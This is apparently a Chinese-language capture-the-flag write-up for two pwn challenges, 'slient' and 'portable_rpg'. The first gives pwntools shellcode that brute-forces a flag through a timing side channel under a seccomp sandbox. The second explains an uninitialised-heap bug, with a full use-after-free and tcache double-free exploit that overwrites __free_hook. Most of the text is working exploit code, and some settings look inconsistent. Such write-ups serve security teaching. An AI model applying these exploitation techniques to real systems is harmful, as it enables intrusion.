slient
这个是去年蓝帽杯线下的原题,找到的是这个exp
开启了沙箱,只启用了open read两个函数,通过写入shellcode之后爆破flag
# encoding=utf-8
from pwn import *
file_path = "./chall"
context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *$rebase(0xC94)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('8.140.177.7', 40334)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def pwn(p, index, ch):
read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx, 0x300;syscall;"
# open
shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"
# re open, rax => 4
shellcode += "push 2; pop rax; syscall;"
# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"
# cmp and jz
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
shellcode = asm(shellcode)
# p.sendlineafter("execution-box.\n", read_next.ljust(0x30))
p.sendafter("execution-box.\n", shellcode.ljust(0x40 - 14, b'a') + b'/home/pwn/flag')
index = 0
ans = []
while True:
for ch in range(0x20, 127):
if debug:
p = process([file_path])
else:
p = remote('8.140.177.7', 40334)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end - start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index = index + 1
print(ans)
print("".join([chr(i) for i in ans]))
portable_rpg
首先来看一下题目的逻辑,实现了一个打龙的游戏。题目一共提供了四种操作,分别是add,delete,show,play。在add中,用户可以选择一共三种人物,其分别对应的mp,hp攻击力以及魔法不同。每个人物的结构体如下
00000000 player struc ; (sizeof=0x20, mappedto_38)
00000000 name DCD ?
00000004 size DCD ?
00000008 hp DCD ?
0000000C mp DCD ?
00000010 atk DCD ?
00000014 mtk DCD ?
00000018 job_type DCD ?
0000001C has_beated DCD ?
00000020 player ends
has_beated表示是否已经击败了大龙。其中name是由用户指定的size大小malloc生成的。在delete函数中会首先释放name然后释放人物的这个结构体。
show函数则是输出结构体中的所有的内容,但是只有当has_beated大于0的时候才可以输出。接下来就是打龙的函数也就是play函数。
int play()
{
int result; // r0
int i; // [sp+4h] [bp+4h]
int index; // [sp+8h] [bp+8h]
int v3; // [sp+Ch] [bp+Ch] BYREF
puts("index?");
index = get_num();
if ( index < 0 || index > 15 || !player_list[index] )
return puts("invalid index!");
for ( i = 0; i <= 3; ++i )
{
result = meet_monster("Goblin", 0x30, 0x10, index);
if ( !result )
return result;
}
result = meet_monster("Dargon", 0x10000, 0x10000, index);
if ( result )
{
puts("wooooooh! you win the dargon!");
player_list[index]->has_beated = 1;
puts("you have a chance to change your name, change it?[y/n]");
result = read(0, &v3, 2u);
if ( v3 == 0x79 )
result = read(0, (void *)player_list[index]->name, player_list[index]->size);
}
return result;
}
可以看到这里首先是打了三个小怪,然后才打大龙Dargon。只有成功beat才可以将has_beated置为1。这里有一个比较坑的点就是后面这个v3=0x79的判断是怎么也过不去的。因为v3是一个int类型,但是read的时候只读了两个字符。由于栈中脏数据的影响,这里的判断永远不成立。因此这里没办法再次写入。
漏洞其实处在add函数中,我们来看一下
int create()
{
int v1; // r3
struct player *v2; // r5
int i; // [sp+4h] [bp+4h]
unsigned int size; // [sp+8h] [bp+8h]
for ( i = 0; i <= 15 && player_list[i]; ++i )
;
if ( i == 16 )
return puts("player list full!");
player_list[i] = (struct player *)malloc(0x20u);
puts("which player job do you want to choose?");
puts("1. warrior");
puts("2. magician");
puts("3. priest");
printf(">> ");
v1 = get_num();
switch ( v1 )
{
case 2:
player_list[i]->hp = 0x30;
player_list[i]->mp = 0x100;
player_list[i]->atk = 0;
player_list[i]->mtk = 0x30;
player_list[i]->job_type = 2;
player_list[i]->has_beated = 0;
puts("name size?");
size = get_num();
if ( size >= 0x400 )
size = 0x400;
goto LABEL_18;
case 3:
player_list[i]->hp = 0x80;
player_list[i]->mp = 0x80;
player_list[i]->atk = 0x18;
player_list[i]->mtk = 0x18;
player_list[i]->job_type = 3;
player_list[i]->has_beated = 0;
puts("name size?");
size = get_num();
if ( size >= 0x400 )
size = 0x400;
goto LABEL_18;
case 1:
player_list[i]->hp = 0x100;
player_list[i]->mp = 0x10;
player_list[i]->atk = 0x30;
player_list[i]->mtk = 0;
player_list[i]->job_type = 1;
player_list[i]->has_beated = 0;
puts("name size?");
size = get_num();
if ( size >= 0x400 )
size = 0x400;
LABEL_18:
puts("user name?");
player_list[i]->size = size;
v2 = player_list[i];
v2->name = (int)malloc(size);
read(0, (void *)player_list[i]->name, size);
break;
}
return puts("create success!");
}
这里首先是申请了一个0x20大小的堆块用作是player的结构体。接着读取用户的输入确定人物的job,之后分配了用户指定size大小的name buf。注意到当我们输入大于3的人物的job类型的时候,switch会直接不起作用。并且这里也没有错误的检查,因此这里新创建的player中的各个数值的类型就直接取决于堆中的脏数据。
正常的逻辑是我们用堆中的脏数据beat大龙,然后拿到一个堆溢出的漏洞构造任意写,但是这里写操作无法使用。因此需要转换思路。我们可以直接通过堆中的脏数据将has_beated置为大于0的数值,泄漏出一些信息。
并且堆中的fd指针恰好对应的是name成员变量。因此这里我们可以构造double free/uaf。到这里就很简单了。这里我是利用的uaf泄漏出libc基地址,然后通过uaf构造tcache double free漏洞,任意地址分配覆写free_hook。
# encoding=utf-8
from pwn import *
file_path = "./vuln"
context.arch = "amd64"
elf = ELF(file_path)
p = remote('', 0)
libc = ELF('./libc.so.6')
def add(type, size, content=b"\n"):
p.sendlineafter(">> ", "1")
p.sendlineafter(">> ", str(type))
p.sendlineafter("name size?\n", str(size))
p.sendafter("user name?\n", content)
def delete(index):
p.sendlineafter(">> ", "2")
p.sendlineafter("index?\n", str(index))
def show(index):
p.sendlineafter(">> ", "3")
p.sendlineafter("index?\n", str(index))
def play(index):
p.sendlineafter("exit\n>> ", "4")
p.sendlineafter("index?\n", str(index))
def meet_monster(type):
p.sendlineafter(">> ", str(type))
def ab_write(index, value):
play(index)
meet_monster(1)
meet_monster(1)
meet_monster(1)
meet_monster(1)
meet_monster(1)
p.sendlineafter("change it?[y/n]\n", p32(121))
p.send(value)
def hack_add(type):
p.sendlineafter("exit\n>> ", "1")
p.sendlineafter(">> ", p32(type))
payload = p32(0x20000)*8
for i in range(16):
add(1, 0x20, payload)
for i in range(16):
delete(i)
for i in range(10):
add(1, 0x90)
for i in range(10):
delete(i)
log.success("fill finished")
add(1, 0x20)
add(1, 0x20)
hack_add(4)
for i in range(9):
add(1, 0x58)
show(2)
p.recvuntil("name: ")
heap_address = u32(p.recv(4))
for i in range(7):
delete(i + 5)
delete(3)
add(1, 0x400)
show(2)
p.recvuntil("name: ")
p.recv(4)
if debug:
libc.address = u32(p.recv(4)) - 0x1f4838
else:
libc.address = u32(p.recv(4)) - 0x13A7F4 - 0x54
for i in range(7):
add(1, 0x58, b"/bin/sh")
add(3, 0x20)
play(2)
meet_monster(1)
meet_monster(1)
meet_monster(1)
meet_monster(1)
meet_monster(1)
p.sendlineafter("change it?[y/n]\n", "n")
delete(12)
delete(2)
delete(7)
add(1, 0x30)
add(1, 0x20, p32(libc.address + 0x13B768))
add(1, 0x20, p32(libc.address + 0x37170))
log.success("libc address is {}\n".format(hex(libc.address)))
delete(5)
p.interactive()